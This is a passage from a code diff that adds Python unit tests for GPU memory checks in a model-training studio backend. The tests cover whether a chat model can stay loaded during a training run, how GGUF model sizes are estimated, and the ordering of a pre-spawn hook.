+            required = 20.0, devices = _devices((0, 80, 50), (1, 80, 50)), gpu_ids = [0, 1]
+        )
+        self.assertTrue(ok)
+
+    def test_missing_gpu_counts_as_zero(self):
+        ok, _, _ = self._run(required = 5.0, devices = _devices((0, 80, 5)), gpu_ids = [3], resolved = [3])
+        self.assertFalse(ok)
+
+    def test_invalid_ids_does_not_block(self):
+        ok, info, _ = self._run(
+            required = 5.0,
+            devices = [],
+            gpu_ids = [99],
+            resolve_side_effect = ValueError("Invalid gpu_ids [99]"),
+        )
+        self.assertTrue(ok)
+        self.assertEqual(info["reason"], "invalid_gpu_ids")
+
+
+# ── can_load_chat_during_training: GGUF (sized from on-disk weights) ──────────
+
+
+class TestCanLoadGGUF(_GpuCacheResetMixin, unittest.TestCase):
+    def _run(
+        self,
+        *,
+        devices,
+        required_override = None,
+        estimate = None,
+    ):
+        with (
+            patch("utils.hardware.get_device", return_value = DeviceType.CUDA),
+            patch("utils.hardware.estimate_required_model_memory_gb", return_value = (estimate, {})),
+            patch("utils.hardware.get_visible_gpu_utilization", return_value = {"devices": devices}),
+            patch("utils.hardware.auto_select_gpu_ids") as auto_mock,
+        ):
+            ok, info = tv.can_load_chat_during_training(
+                model_name = "unsloth/gemma-GGUF",
+                hf_token = None,
+                load_in_4bit = True,
+                max_seq_length = 0,
+                requested_gpu_ids = None,
+                is_gguf = True,
+                required_override_gb = required_override,
+            )
+        return ok, info, auto_mock
+
+    def test_override_fits(self):
+        ok, info, auto_mock = self._run(devices = _devices((0, 80, 20)), required_override = 10.0)
+        self.assertTrue(ok)
+        self.assertEqual(info["mode"], "gguf")
+        auto_mock.assert_not_called()  # GGUF never uses the HF auto selector
+
+    def test_no_per_gpu_floor_for_gguf(self):
+        # free [45, 10], override 20 -> needed 27, aggregate 53.5 >= 27. GGUF self-
+        # places, so the per-GPU floor that would block HF doesn't apply -> allow.
+        ok, _, _ = self._run(devices = _devices((0, 80, 35), (1, 80, 70)), required_override = 20.0)
+        self.assertTrue(ok)
+
+    def test_estimate_unavailable_refuses(self):
+        # No override and the estimator can't size it -> default-deny.
+        ok, info, _ = self._run(devices = _devices((0, 80, 0)), required_override = None, estimate = None)
+        self.assertFalse(ok)
+        self.assertEqual(info["reason"], "estimate_unavailable")
+
+
+# ── can_load_chat_during_training: device-independent paths ──────────────────
+
+
+class TestCanLoadMisc(_GpuCacheResetMixin, unittest.TestCase):
+    def test_non_cuda_allows(self):
+        with patch("utils.hardware.get_device", return_value = DeviceType.MLX):
+            ok, info = tv.can_load_chat_during_training(
+                model_name = "m",
+                hf_token = None,
+                load_in_4bit = True,
+                max_seq_length = 0,
+                requested_gpu_ids = None,
+            )
+        self.assertTrue(ok)
+        self.assertEqual(info["mode"], "non_cuda")
+
+    def test_no_visible_gpus_refuses(self):
+        # GGUF with an empty device list -> no candidate GPU -> default-deny.
+        with (
+            patch("utils.hardware.get_device", return_value = DeviceType.CUDA),
+            patch("utils.hardware.get_visible_gpu_utilization", return_value = {"devices": []}),
+            patch("utils.hardware.auto_select_gpu_ids"),
+        ):
+            ok, info = tv.can_load_chat_during_training(
+                model_name = "m",
+                hf_token = None,
+                load_in_4bit = True,
+                max_seq_length = 0,
+                requested_gpu_ids = None,
+                is_gguf = True,
+                required_override_gb = 8.0,
+            )
+        self.assertFalse(ok)
+        self.assertEqual(info["reason"], "no_visible_gpus")
+
+    def test_probe_exception_refuses(self):
+        with patch("utils.hardware.get_device", side_effect = RuntimeError("boom")):
+            ok, info = tv.can_load_chat_during_training(
+                model_name = "m",
+                hf_token = None,
+                load_in_4bit = True,
+                max_seq_length = 0,
+                requested_gpu_ids = None,
+            )
+        self.assertFalse(ok)
+        self.assertEqual(info["reason"], "probe_error")
+
+
+# ── _guard_chat_load_against_training + _effective_load_in_4bit (route) ───────
+
+
+def _load_inference_route():
+    spec = importlib.util.spec_from_file_location(
+        "inference_route_chatload_test", _BACKEND_ROOT / "routes" / "inference.py"
+    )
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+def _stub_guard_deps(
+    *,
+    training_active,
+    decision,
+    captured = None,
+):
+    """Inject the guard's two lazy imports (get_training_backend, can_load_chat_
+    during_training); `captured` records the can_load kwargs for assertions."""
+    core_training = types.ModuleType("core.training")
+    if isinstance(training_active, Exception):
+
+        def _raise():
+            raise training_active
+
+        core_training.get_training_backend = _raise
+    else:
+        core_training.get_training_backend = lambda: SimpleNamespace(
+            is_training_active = lambda: training_active
+        )
+
+    def _can_load(**kwargs):
+        if captured is not None:
+            captured.append(kwargs)
+        return decision
+
+    tv_stub = types.ModuleType("routes.training_vram")
+    tv_stub.can_load_chat_during_training = _can_load
+    return patch.dict(
+        sys.modules, {"core.training": core_training, "routes.training_vram": tv_stub}
+    )
+
+
+class TestChatLoadGuardRoute(unittest.TestCase):
+    @classmethod
+    def setUpClass(cls):
+        cls.route = _load_inference_route()
+
+    def _guard(
+        self,
+        *,
+        config = None,
+        captured = None,
+        training_active,
+        decision,
+    ):
+        config = config or SimpleNamespace(is_gguf = False, is_lora = False, path = None)
+        with _stub_guard_deps(
+            training_active = training_active, decision = decision, captured = captured
+        ):
+            self.route._guard_chat_load_against_training(
+                config,
+                model_identifier = "unsloth/Qwen3-1.7B",
+                hf_token = None,
+                load_in_4bit = True,
+                max_seq_length = 0,
+                requested_gpu_ids = None,
+            )
+
+    def test_noop_when_training_inactive(self):
+        self._guard(training_active = False, decision = (False, {}))  # must not raise
+
+    def test_noop_when_training_state_unknown(self):
+        self._guard(training_active = RuntimeError("no backend"), decision = (False, {}))
+
+    def test_allows_when_fits(self):
+        self._guard(training_active = True, decision = (True, {"mode": "auto"}))
+
+    def test_refuses_with_headroom_number(self):
+        info = {"required_gb": 30.0, "usable_gb": 6.0, "needed_gb": 39.0, "mode": "auto"}
+        with self.assertRaises(HTTPException) as exc:
+            self._guard(training_active = True, decision = (False, info))
+        self.assertEqual(exc.exception.status_code, 409)
+        self.assertIn("39 GB", exc.exception.detail)  # reports needed_gb, not required_gb 30
+        self.assertNotIn("30 GB", exc.exception.detail)
+        self.assertIn("including safety headroom", exc.exception.detail)
+        self.assertNotIn("chat is disabled", exc.exception.detail.lower())
+
+    def test_refuses_generic_when_unsizable(self):
+        with self.assertRaises(HTTPException) as exc:
+            self._guard(training_active = True, decision = (False, {"reason": "estimate_unavailable"}))
+        self.assertEqual(exc.exception.status_code, 409)
+        self.assertIn("could not be verified", exc.exception.detail)
+
+    def test_gguf_config_passes_is_gguf_and_override(self):
+        captured = []
+        config = SimpleNamespace(is_gguf = True)
+        with patch.object(self.route, "_estimate_gguf_required_gb", return_value = 12.5):
+            self._guard(
+                config = config,
+                captured = captured,
+                training_active = True,
+                decision = (True, {}),
+            )
+        self.assertEqual(captured[0]["is_gguf"], True)
+        self.assertEqual(captured[0]["required_override_gb"], 12.5)
+
+
+class TestEffectiveLoadIn4bit(unittest.TestCase):
+    @classmethod
+    def setUpClass(cls):
+        cls.route = _load_inference_route()
+
+    def _write_adapter(self, tmpdir, payload):
+        import json
+        (Path(tmpdir) / "adapter_config.json").write_text(json.dumps(payload))
+
+    def test_non_lora_returns_request(self):
+        cfg = SimpleNamespace(is_lora = False, path = None, base_model = None)
+        self.assertTrue(self.route._effective_load_in_4bit(cfg, True))
+
+    def test_lora_method_flips_to_16bit(self):
+        import tempfile
+        with tempfile.TemporaryDirectory() as d:
+            self._write_adapter(d, {"unsloth_training_method": "lora"})
+            cfg = SimpleNamespace(is_lora = True, path = d, base_model = "x")
+            # requested 4-bit, but a 'lora' adapter loads 16-bit
+            self.assertFalse(self.route._effective_load_in_4bit(cfg, True))
+
+    def test_qlora_method_keeps_4bit(self):
+        import tempfile
+        with tempfile.TemporaryDirectory() as d:
+            self._write_adapter(d, {"unsloth_training_method": "qlora"})
+            cfg = SimpleNamespace(is_lora = True, path = d, base_model = "x")
+            self.assertTrue(self.route._effective_load_in_4bit(cfg, True))
+
+    def test_no_method_non_bnb_base_flips_to_16bit(self):
+        import tempfile
+        with tempfile.TemporaryDirectory() as d:
+            self._write_adapter(d, {})
+            cfg = SimpleNamespace(is_lora = True, path = d, base_model = "meta/Llama-3-8B")
+            self.assertFalse(self.route._effective_load_in_4bit(cfg, True))
+
+    def test_malformed_adapter_config_returns_request(self):
+        import tempfile
+        with tempfile.TemporaryDirectory() as d:
+            (Path(d) / "adapter_config.json").write_text("[1, 2, 3]")  # not a dict
+            cfg = SimpleNamespace(is_lora = True, path = d, base_model = "x")
+            self.assertTrue(self.route._effective_load_in_4bit(cfg, True))  # no crash
+
+
+# ── validate_model integration (early refusal, real settings) ────────────────
+
+
+class TestValidateRefusesDuringTraining(unittest.TestCase):
+    @classmethod
+    def setUpClass(cls):
+        cls.route = _load_inference_route()
+
+    def _validate(
+        self,
+        *,
+        training_active,
+        decision,
+        captured = None,
+        load_in_4bit = True,
+    ):
+        from models.inference import ValidateModelRequest
+
+        request = ValidateModelRequest(
+            model_path = "unsloth/Qwen3-1.7B", load_in_4bit = load_in_4bit, max_seq_length = 4096
+        )
+        cfg = SimpleNamespace(
+            identifier = "unsloth/Qwen3-1.7B",
+            display_name = "Qwen3-1.7B",
+            is_gguf = False,
+            is_lora = False,
+            is_vision = False,
+            path = None,
+            base_model = None,
+        )
+        with (
+            patch.object(
+                self.route,
+                "_resolve_model_identifier_for_request",
+                return_value = ("unsloth/Qwen3-1.7B", "unsloth/Qwen3-1.7B", False),
+            ),
+            patch.object(self.route.ModelConfig, "from_identifier", return_value = cfg),
+            patch.object(self.route, "load_inference_config", return_value = {}),
+            _stub_guard_deps(training_active = training_active, decision = decision, captured = captured),
+        ):
+            return asyncio.run(self.route.validate_model(request, current_subject = "test-user"))
+
+    def test_ok_when_training_inactive(self):
+        resp = self._validate(training_active = False, decision = (False, {}))
+        self.assertTrue(resp.valid)
+
+    def test_refuses_when_wont_fit(self):
+        info = {"required_gb": 40.0, "usable_gb": 5.0, "needed_gb": 50.0}
+        with self.assertRaises(HTTPException) as exc:
+            self._validate(training_active = True, decision = (False, info))
+        self.assertEqual(exc.exception.status_code, 409)
+        self.assertIn("training is running", exc.exception.detail)
+
+    def test_passes_real_load_settings_to_guard(self):
+        # validate must size with the request's settings, not hardcoded defaults.
+        captured = []
+        self._validate(
+            training_active = True, decision = (True, {}), captured = captured, load_in_4bit = False
+        )
+        self.assertEqual(captured[0]["load_in_4bit"], False)
+        self.assertEqual(captured[0]["max_seq_length"], 4096)
+
+    def test_rejects_gguf_with_gpu_ids_before_guard(self):
+        # /validate must mirror /load's GGUF + gpu_ids 400, before the VRAM guard.
+        from models.inference import ValidateModelRequest
+
+        request = ValidateModelRequest(model_path = "x.gguf", gpu_ids = [0])
+        cfg = SimpleNamespace(
+            identifier = "x.gguf",
+            display_name = "x",
+            is_gguf = True,
+            is_lora = False,
+            is_vision = False,
+            path = None,
+            base_model = None,
+        )
+        captured = []
+        with (
+            patch.object(
+                self.route,
+                "_resolve_model_identifier_for_request",
+                return_value = ("x.gguf", "x.gguf", False),
+            ),
+            patch.object(self.route.ModelConfig, "from_identifier", return_value = cfg),
+            patch.object(self.route, "load_inference_config", return_value = {}),
+            _stub_guard_deps(training_active = True, decision = (True, {}), captured = captured),
+        ):
+            with self.assertRaises(HTTPException) as exc:
+                asyncio.run(self.route.validate_model(request, current_subject = "u"))
+        self.assertEqual(exc.exception.status_code, 400)
+        self.assertIn("gpu_ids is not supported for GGUF", exc.exception.detail)
+        self.assertEqual(captured, [])  # guard never reached
+
+
+# ── _estimate_gguf_required_gb (sizes the same weights the loader loads) ──────
+
+
+class TestEstimateGgufRequiredGb(unittest.TestCase):
+    @classmethod
+    def setUpClass(cls):
+        cls.route = _load_inference_route()
+
+    def test_local_sums_split_shards(self):
+        import tempfile
+        with tempfile.TemporaryDirectory() as d:
+            p = Path(d)
+            (p / "model-00001-of-00002.gguf").write_bytes(b"x" * 1000)
+            (p / "model-00002-of-00002.gguf").write_bytes(b"y" * 2000)
+            cfg = SimpleNamespace(
+                gguf_file = str(p / "model-00001-of-00002.gguf"),
+                gguf_mmproj_file = None,
+                gguf_mtp_file = None,
+                gguf_hf_repo = None,
+                gguf_variant = None,
+            )
+            gb = self.route._estimate_gguf_required_gb(cfg)
+        self.assertAlmostEqual(gb, 3000 / (1024**3), places = 9)  # both shards
+
+    def test_remote_threads_token_and_adds_companions(self):
+        import utils.models.model_config as mc
+
+        cfg = SimpleNamespace(
+            gguf_file = None,
+            gguf_mmproj_file = None,
+            gguf_mtp_file = None,
+            gguf_hf_repo = "org/repo",
+            gguf_variant = "Q4_K_M",
+        )
+        variant = SimpleNamespace(quant = "Q4_K_M", size_bytes = 10 * 1024**3)
+        captured = {}
+
+        def fake_list(repo, hf_token = None):
+            captured["token"] = hf_token
+            return ([variant], True)  # has_vision -> include mmproj
+
+        with (
+            patch.object(mc, "list_gguf_variants", fake_list),
+            patch.object(
+                self.route, "_remote_gguf_companion_bytes", return_value = 2 * 1024**3
+            ) as comp,
+        ):
+            gb = self.route._estimate_gguf_required_gb(cfg, hf_token = "tok")
+        self.assertEqual(captured["token"], "tok")  # token threaded for gated repos
+        self.assertAlmostEqual(gb, 12.0, places = 6)  # 10 GB variant + 2 GB companions
+        self.assertTrue(comp.call_args.kwargs["include_mmproj"])
+
+    def test_remote_unknown_variant_returns_none(self):
+        import utils.models.model_config as mc
+        cfg = SimpleNamespace(
+            gguf_file = None,
+            gguf_mmproj_file = None,
+            gguf_mtp_file = None,
+            gguf_hf_repo = "org/repo",
+            gguf_variant = "Q8_0",
+        )
+        with patch.object(
+            mc,
+            "list_gguf_variants",
+            return_value = ([SimpleNamespace(quant = "Q4_K_M", size_bytes = 1)], False),
+        ):
+            self.assertIsNone(self.route._estimate_gguf_required_gb(cfg))
+
+    def test_local_adds_kv_cache(self):
+        import tempfile
+        with tempfile.TemporaryDirectory() as d:
+            p = Path(d) / "model.gguf"
+            p.write_bytes(b"x" * 1000)
+            cfg = SimpleNamespace(
+                gguf_file = str(p),
+                gguf_mmproj_file = None,
+                gguf_mtp_file = None,
+                gguf_hf_repo = None,
+                gguf_variant = None,
+            )
+            with patch.object(self.route, "_estimate_gguf_kv_gb", return_value = 2.0):
+                gb = self.route._estimate_gguf_required_gb(cfg, max_seq_length = 8192)
+        self.assertAlmostEqual(gb, 1000 / (1024**3) + 2.0, places = 6)  # weights + KV
+
+    def test_kv_helper_graceful_on_non_gguf(self):
+        import tempfile
+        with tempfile.TemporaryDirectory() as d:
+            p = Path(d) / "not-a.gguf"
+            p.write_bytes(b"not a gguf")
+            self.assertEqual(self.route._estimate_gguf_kv_gb(str(p), 4096), 0.0)
+
+    def test_kv_sizes_at_larger_of_max_seq_len_and_ctx_override(self):
+        # KV sized at the larger of max_seq_length and --ctx-size, else native.
+        seen = {}
+
+        class _FakeBackend:
+            _context_length = 2048
+
+            def _read_gguf_metadata(self, path):
+                pass
+
+            def _can_estimate_kv(self):
+                return True
+
+            def _estimate_kv_cache_bytes(
+                self,
+                ctx,
+                n_parallel = 1,
+            ):
+                seen["ctx"] = ctx
+                seen["n_parallel"] = n_parallel
+                return ctx * n_parallel * (1024**2)  # 1 MiB per ctx unit per slot
+
+        with patch.object(self.route, "LlamaCppBackend", _FakeBackend):
+            r = self.route
+            # --ctx-size override above max_seq_length -> override wins
+            self.assertAlmostEqual(
+                r._estimate_gguf_kv_gb("m", 4096, ["--ctx-size", "131072"]), 128.0
+            )
+            self.assertEqual(seen["ctx"], 131072)
+            self.assertEqual(seen["n_parallel"], 1)  # default single slot
+            # override below max_seq_length -> larger (max_seq_length) wins
+            self.assertAlmostEqual(r._estimate_gguf_kv_gb("m", 4096, ["--ctx-size", "1024"]), 4.0)
+            self.assertEqual(seen["ctx"], 4096)
+            # no override, no max_seq_length -> native context fallback
+            self.assertAlmostEqual(r._estimate_gguf_kv_gb("m", 0, None), 2.0)
+            self.assertEqual(seen["ctx"], 2048)
+            # malformed extras are ignored (fall back to max_seq_length)
+            self.assertAlmostEqual(r._estimate_gguf_kv_gb("m", 4096, ["--ctx-size", "oops"]), 4.0)
+            # --parallel slots scale the cache the same way the launcher does
+            self.assertAlmostEqual(r._estimate_gguf_kv_gb("m", 4096, None, 4), 16.0)
+            self.assertEqual(seen["n_parallel"], 4)
+
+
+# ── load_model integration: authoritative 409, and no unload before refusal ──
+
+
+class TestLoadModelGuardIntegration(unittest.TestCase):
+    @classmethod
+    def setUpClass(cls):
+        cls.route = _load_inference_route()
+
+    def test_refusal_409_and_no_unload(self):
+        import contextlib
+        from unittest.mock import MagicMock
+        from models.inference import LoadRequest
+
+        inf = SimpleNamespace(active_model_name = None)
+        inf.unload_model = MagicMock()
+        inf._shutdown_subprocess = MagicMock()
+        llama = SimpleNamespace(is_loaded = False, model_identifier = None, hf_variant = None)
+        llama.unload_model = MagicMock()
+        cfg = SimpleNamespace(is_gguf = False, is_lora = False, path = None, base_model = None)
+        request = LoadRequest(model_path = "unsloth/Qwen3-1.7B")
+        info = {"required_gb": 40.0, "usable_gb": 5.0, "needed_gb": 50.0, "mode": "auto"}
+
+        with (
+            patch.object(self.route, "validate_extra_args", return_value = None),
+            patch.object(
+                self.route,
+                "_resolve_model_identifier_for_request",
+                return_value = ("unsloth/Qwen3-1.7B", "unsloth/Qwen3-1.7B", False),
+            ),
+            patch.object(self.route, "resolve_effective_chat_template_override", return_value = None),
+            patch.object(self.route, "get_inference_backend", return_value = inf),
+            patch.object(self.route, "get_llama_cpp_backend", return_value = llama),
+            patch.object(self.route, "_hf_offline_if_dns_dead", lambda: contextlib.nullcontext()),
+            patch.object(self.route.ModelConfig, "from_identifier", return_value = cfg),
+            _stub_guard_deps(training_active = True, decision = (False, info)),
+        ):
+            with self.assertRaises(HTTPException) as exc:
+                asyncio.run(
+                    self.route.load_model(request, fastapi_request = MagicMock(), current_subject = "u")
+                )
+
+        self.assertEqual(exc.exception.status_code, 409)
+        # Guard runs before the unload step, so a refused load tears down nothing.
+        inf.unload_model.assert_not_called()
+        inf._shutdown_subprocess.assert_not_called()
+        llama.unload_model.assert_not_called()
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/studio/backend/tests/test_gpu_selection.py b/studio/backend/tests/test_gpu_selection.py
index cb26330ed0..d96f88e4a6 100644
--- a/studio/backend/tests/test_gpu_selection.py
+++ b/studio/backend/tests/test_gpu_selection.py
@@ -754,8 +754,8 @@ class TestRouteErrors(unittest.TestCase):
         with (
             patch.object(training_route, "get_training_backend", return_value = DummyBackend()),
             patch(
-                "core.inference.get_inference_backend",
-                return_value = SimpleNamespace(active_model_name = None),
+                "routes.training_vram.summarize_resident_chat",
+                return_value = {"any": False, "hf": None, "gguf": None},
             ),
             patch(
                 "core.export.get_export_backend",
@@ -794,8 +794,8 @@ class TestRouteErrors(unittest.TestCase):
         with (
             patch.object(training_route, "get_training_backend", return_value = DummyBackend()),
             patch(
-                "core.inference.get_inference_backend",
-                return_value = SimpleNamespace(active_model_name = None),
+                "routes.training_vram.summarize_resident_chat",
+                return_value = {"any": False, "hf": None, "gguf": None},
             ),
             patch(
                 "core.export.get_export_backend",
diff --git a/studio/backend/tests/test_training_before_spawn.py b/studio/backend/tests/test_training_before_spawn.py
new file mode 100644
index 0000000000..efd96aeda3
--- /dev/null
+++ b/studio/backend/tests/test_training_before_spawn.py
@@ -0,0 +1,163 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""
+start_training()'s before_spawn hook must run iff a training subprocess is
+actually spawned -- i.e. only after ALL synchronous validation (start guards,
+config build, GPU-selection) passes. This protects the chat-VRAM unload from
+firing for a start that is then refused (e.g. invalid gpu_ids -> 400).
+"""
+
+import unittest
+from unittest.mock import MagicMock, patch
+
+from core.training.training import TrainingBackend
+from utils.hardware import DeviceType
+
+
+class _DummyProcess:
+    pid = 4321
+
+    def start(self):
+        return None
+
+
+class _DummyThread:
+    def start(self):
+        return None
+
+
+def _start(backend, hook):
+    dummy_queue = object()
+    with (
+        patch("core.training.training.prepare_gpu_selection", return_value = ([0], {})),
+        patch("core.training.training._CTX.Queue", side_effect = [dummy_queue, dummy_queue]),
+        patch("core.training.training._CTX.Process", return_value = _DummyProcess()),
+        patch("core.training.training.threading.Thread", return_value = _DummyThread()),
+    ):
+        return backend.start_training(
+            job_id = "before-spawn-test",
+            before_spawn = hook,
+            model_name = "unsloth/test",
+            training_type = "LoRA/QLoRA",
+        )
+
+
+class TestBeforeSpawnHook(unittest.TestCase):
+    def test_hook_runs_when_training_starts(self):
+        backend = TrainingBackend()
+        hook = MagicMock()
+        ok = _start(backend, hook)
+        self.assertTrue(ok)
+        hook.assert_called_once()
+
+    def test_hook_skipped_when_subprocess_already_alive(self):
+        backend = TrainingBackend()
+        backend._proc = MagicMock()
+        backend._proc.is_alive.return_value = True
+        hook = MagicMock()
+        ok = _start(backend, hook)
+        self.assertFalse(ok)
+        hook.assert_not_called()  # never free chat VRAM for a refused start
+
+    def test_hook_skipped_when_pump_thread_will_not_die(self):
+        backend = TrainingBackend()
+        stuck = MagicMock()
+        stuck.is_alive.return_value = True
+        stuck.join.return_value = None
+        backend._pump_thread = stuck
+        hook = MagicMock()
+        ok = _start(backend, hook)
+        self.assertFalse(ok)
+        hook.assert_not_called()
+
+    def test_hook_failure_does_not_block_start(self):
+        backend = TrainingBackend()
+        hook = MagicMock(side_effect = RuntimeError("boom"))
+        ok = _start(backend, hook)
+        self.assertTrue(ok)  # training still starts despite a hook error
+        hook.assert_called_once()
+
+    def test_hook_skipped_when_gpu_selection_rejects(self):
+        # Invalid gpu_ids raise in prepare_gpu_selection (before the spawn), so the
+        # hook must NOT run -- a refused start frees no chat/export VRAM.
+        backend = TrainingBackend()
+        hook = MagicMock()
+        with (
+            patch("utils.hardware.hardware.DEVICE", DeviceType.CUDA),
+            patch(
+                "core.training.training.prepare_gpu_selection",
+                side_effect = ValueError("Invalid gpu_ids [99]"),
+            ),
+            patch("core.training.training._CTX.Process") as process_mock,
+        ):
+            with self.assertRaisesRegex(ValueError, "Invalid gpu_ids"):
+                backend.start_training(
+                    job_id = "before-spawn-test",
+                    before_spawn = hook,
+                    model_name = "unsloth/test",
+                    training_type = "LoRA/QLoRA",
+                    gpu_ids = [99],
+                )
+        hook.assert_not_called()
+        process_mock.assert_not_called()
+
+    def test_auto_placement_runs_after_hook(self):
+        # Auto-selection ranks GPUs by free VRAM, so it must run AFTER the hook
+        # frees export/chat -- otherwise training could be pinned onto a freed GPU
+        # (or onto a GPU holding a chat model the probe decided to keep).
+        order = []
+        backend = TrainingBackend()
+        hook = MagicMock(side_effect = lambda: order.append("hook"))
+
+        def _placement(gpu_ids, **kwargs):
+            order.append("placement")
+            return ([0], {})
+
+        with (
+            patch("utils.hardware.hardware.DEVICE", DeviceType.CUDA),
+            patch("core.training.training.prepare_gpu_selection", side_effect = _placement),
+            patch("core.training.training._CTX.Queue", side_effect = [object(), object()]),
+            patch("core.training.training._CTX.Process", return_value = _DummyProcess()),
+            patch("core.training.training.threading.Thread", return_value = _DummyThread()),
+        ):
+            ok = backend.start_training(
+                job_id = "before-spawn-test",
+                before_spawn = hook,
+                model_name = "unsloth/test",
+                training_type = "LoRA/QLoRA",
+            )  # gpu_ids omitted -> auto mode
+        self.assertTrue(ok)
+        self.assertEqual(order, ["hook", "placement"])
+
+    def test_explicit_placement_validated_before_hook(self):
+        # Explicit gpu_ids are validated before the hook (so an invalid set 400s
+        # without teardown); explicit placement is VRAM-independent.
+        order = []
+        backend = TrainingBackend()
+        hook = MagicMock(side_effect = lambda: order.append("hook"))
+
+        def _placement(gpu_ids, **kwargs):
+            order.append("placement")
+            return (list(gpu_ids), {})
+
+        with (
+            patch("utils.hardware.hardware.DEVICE", DeviceType.CUDA),
+            patch("core.training.training.prepare_gpu_selection", side_effect = _placement),
+            patch("core.training.training._CTX.Queue", side_effect = [object(), object()]),
+            patch("core.training.training._CTX.Process", return_value = _DummyProcess()),
+            patch("core.training.training.threading.Thread", return_value = _DummyThread()),
+        ):
+            ok = backend.start_training(
+                job_id = "before-spawn-test",
+                before_spawn = hook,
+                model_name = "unsloth/test",
+                training_type = "LoRA/QLoRA",
+                gpu_ids = [5],
+            )
+        self.assertTrue(ok)
+        self.assertEqual(order, ["placement", "hook"])
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/studio/backend/tests/test_training_vram_coexistence.py b/studio/backend/tests/test_training_vram_coexistence.py
new file mode 100644
index 0000000000..2bedc46d1f
--- /dev/null
+++ b/studio/backend/tests/test_training_vram_coexistence.py
@@ -0,0 +1,442 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""
+Tests for routes/training_vram.py -- the VRAM-aware decision to keep or unload a
+resident chat model when a training run starts.
+"""
+
+import importlib.util
+import sys
+import types
+import unittest
+from pathlib import Path
+from types import SimpleNamespace
+from unittest.mock import MagicMock, patch
+
+from utils.hardware import DeviceType
+import utils.hardware.hardware as _hw_module
+
+# Load training_vram.py standalone so importing it doesn't pull the heavy
+# routes/__init__.py; its lazy backend imports still resolve via sys.modules stubs.
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+_spec = importlib.util.spec_from_file_location(
+    "training_vram_under_test", _BACKEND_ROOT / "routes" / "training_vram.py"
+)
+tv = importlib.util.module_from_spec(_spec)
+_spec.loader.exec_module(tv)
+
+
+class _GpuCacheResetMixin:
+    """Reset module-level GPU caches between tests to prevent state leaks."""
+
+    def tearDown(self):
+        _hw_module._physical_gpu_count = None
+        _hw_module._visible_gpu_count = None
+
+
+def _fake_inference_backend(
+    *,
+    active = None,
+    loading = None,
+    alive = False,
+):
+    inf = SimpleNamespace(
+        active_model_name = active,
+        loading_models = set(loading or []),
+        models = {},
+    )
+    inf._ensure_subprocess_alive = lambda: alive
+    inf._shutdown_subprocess = MagicMock()
+    # Bind the MagicMock so assertions can reach it.
+    inf._shutdown_subprocess_mock = inf._shutdown_subprocess
+    return inf
+
+
+def _fake_llama_backend(
+    *,
+    active = False,
+    identifier = "model.gguf",
+    gpu_offload = None,
+    loaded = None,
+):
+    # A healthy active server is loaded; pass loaded=False for a mid-start one.
+    is_loaded = active if loaded is None else loaded
+    llama = SimpleNamespace(
+        is_active = active,
+        is_loaded = is_loaded,
+        model_identifier = identifier,
+        _gpu_offload_active = gpu_offload,
+    )
+    llama.unload_model = MagicMock()
+    return llama
+
+
+def _patch_backends(inf, llama):
+    """Stub core.inference + routes.inference modules so the lazy imports inside
+    training_vram resolve to fakes (avoids importing torch-heavy backends)."""
+    core_inf = types.ModuleType("core.inference")
+    core_inf.get_inference_backend = lambda: inf
+    routes_inf = types.ModuleType("routes.inference")
+    routes_inf.get_llama_cpp_backend = lambda: llama
+    return patch.dict(sys.modules, {"core.inference": core_inf, "routes.inference": routes_inf})
+
+
+# ── summarize_resident_chat ──────────────────────────────────────────────────
+
+
+class TestSummarizeResidentChat(_GpuCacheResetMixin, unittest.TestCase):
+    def test_nothing_resident(self):
+        with _patch_backends(_fake_inference_backend(), _fake_llama_backend(active = False)):
+            self.assertEqual(
+                tv.summarize_resident_chat(),
+                {"hf": None, "gguf": None, "loading": False, "any": False},
+            )
+
+    def test_hf_resident_via_active_model(self):
+        with _patch_backends(
+            _fake_inference_backend(active = "unsloth/Qwen3-4B"), _fake_llama_backend(active = False)
+        ):
+            out = tv.summarize_resident_chat()
+        self.assertEqual(out["hf"], "unsloth/Qwen3-4B")
+        self.assertFalse(out["loading"])
+        self.assertTrue(out["any"])
+
+    def test_hf_resident_while_still_loading(self):
+        # Mid-load: no active model yet but VRAM is held -> flag in-flight.
+        with _patch_backends(
+            _fake_inference_backend(active = None, loading = ["unsloth/Qwen3-4B"]),
+            _fake_llama_backend(active = False),
+        ):
+            out = tv.summarize_resident_chat()
+        self.assertEqual(out["hf"], "unsloth/Qwen3-4B")
+        self.assertTrue(out["loading"])
+        self.assertTrue(out["any"])
+
+    def test_replacement_hf_load_is_in_flight(self):
+        # Swap: new model loading while old still active -> unsafe to keep.
+        with _patch_backends(
+            _fake_inference_backend(active = "unsloth/old", loading = ["unsloth/new"]),
+            _fake_llama_backend(active = False),
+        ):
+            out = tv.summarize_resident_chat()
+        self.assertEqual(out["hf"], "unsloth/old")
+        self.assertTrue(out["loading"])
+
+    def test_cpu_only_gguf_is_not_a_vram_resident(self):
+        # A llama-server confirmed to run entirely on CPU holds no VRAM.
+        with _patch_backends(
+            _fake_inference_backend(),
+            _fake_llama_backend(active = True, identifier = "cpu.gguf", gpu_offload = False),
+        ):
+            out = tv.summarize_resident_chat()
+        self.assertIsNone(out["gguf"])
+        self.assertFalse(out["any"])
+
+    def test_mid_start_gguf_is_in_flight(self):
+        # Active but not yet healthy -- still allocating, so unsafe to size.
+        with _patch_backends(
+            _fake_inference_backend(),
+            _fake_llama_backend(active = True, loaded = False, identifier = "starting.gguf"),
+        ):
+            out = tv.summarize_resident_chat()
+        self.assertEqual(out["gguf"], "starting.gguf")
+        self.assertTrue(out["loading"])
+
+    def test_bare_alive_subprocess_without_model_is_not_resident(self):
+        # Bare-alive subprocess (no model, only CUDA context) must NOT count.
+        with _patch_backends(
+            _fake_inference_backend(active = None, alive = True), _fake_llama_backend(active = False)
+        ):
+            out = tv.summarize_resident_chat()
+        self.assertIsNone(out["hf"])
+        self.assertFalse(out["any"])
+
+    def test_gguf_resident(self):
+        with _patch_backends(
+            _fake_inference_backend(), _fake_llama_backend(active = True, identifier = "gemma.gguf")
+        ):
+            out = tv.summarize_resident_chat()
